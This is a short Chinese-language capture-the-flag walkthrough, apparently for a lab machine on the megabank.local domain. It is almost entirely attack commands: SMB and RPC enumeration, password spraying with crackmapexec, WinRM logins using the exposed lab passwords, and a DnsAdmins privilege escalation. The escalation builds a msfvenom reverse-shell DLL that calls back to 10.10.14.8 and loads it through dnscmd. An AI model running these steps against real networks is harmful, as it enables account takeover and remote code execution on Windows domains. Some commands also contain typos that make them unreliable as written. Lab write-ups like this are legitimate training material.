megabank.local
(Domain: megabank.local, Site: Default-First-Site-Name)
主要枚举内容，ldap.smb,

我看445smb

smbmap -H 10.129.96.155

smbmap -H 10.129.96.155 -u 0xdf

smbclient -N -L \\10.129.96.1555

我看rpc445

rpcclient -U "" -N 10.129.96.155
enumdomusers

查看0x1f4用户详细信息

queryuser 0x1f4

查看所有用户基本信息
querydispinfo

可以看到0x457用户暴露出了密码

但是登陆不上，smb也登陆不上

crackmapexec winrm 10.129.96.155 -u marco -p 'Welcome123!' --continue-on-success

密码喷洒

我手动把所有枚举出的用户提取出来制作成了user.txt
而后进行密码喷洒

crackmapexec smb 10.129.96.155 -u user.txt -p 'Welcome123!' --continue-on-success

得到了melanie用户
megabank.local\melanie:Welcome123!

登陆

evil-winrm -i 10.129.96.155 -P 5985 -u melanie -p 'Welcome123!'

枚举

Get-ChildItem c:\  -Include *.txt -recurse -erroraction -force

用这个命令我找到了全部的txt文件

也可以全局搜索，但是会有错误信息

我们打开这个文件，就可以看到一个用户密码
ryan Serv3r4Admin4cc123!

我再次登陆

evil-winrm -i 10.129.96.155 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'

每一分钟自动回复，恶心恶心

whoami /groups
发现属于dnsadmin组

dnsadmin

```clike
1. 开启一个共享
smbserver.py s .
2. 生成payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=8888 -f dll -o rev.dll
3. 加载payload
dnscmd.exe /config /serverlevelplugindll \\10.10.14.8\s\rev.dll
4. 重启dns服务
sc.exe \\resolute stop dns
sc.exe \\resolute start dns
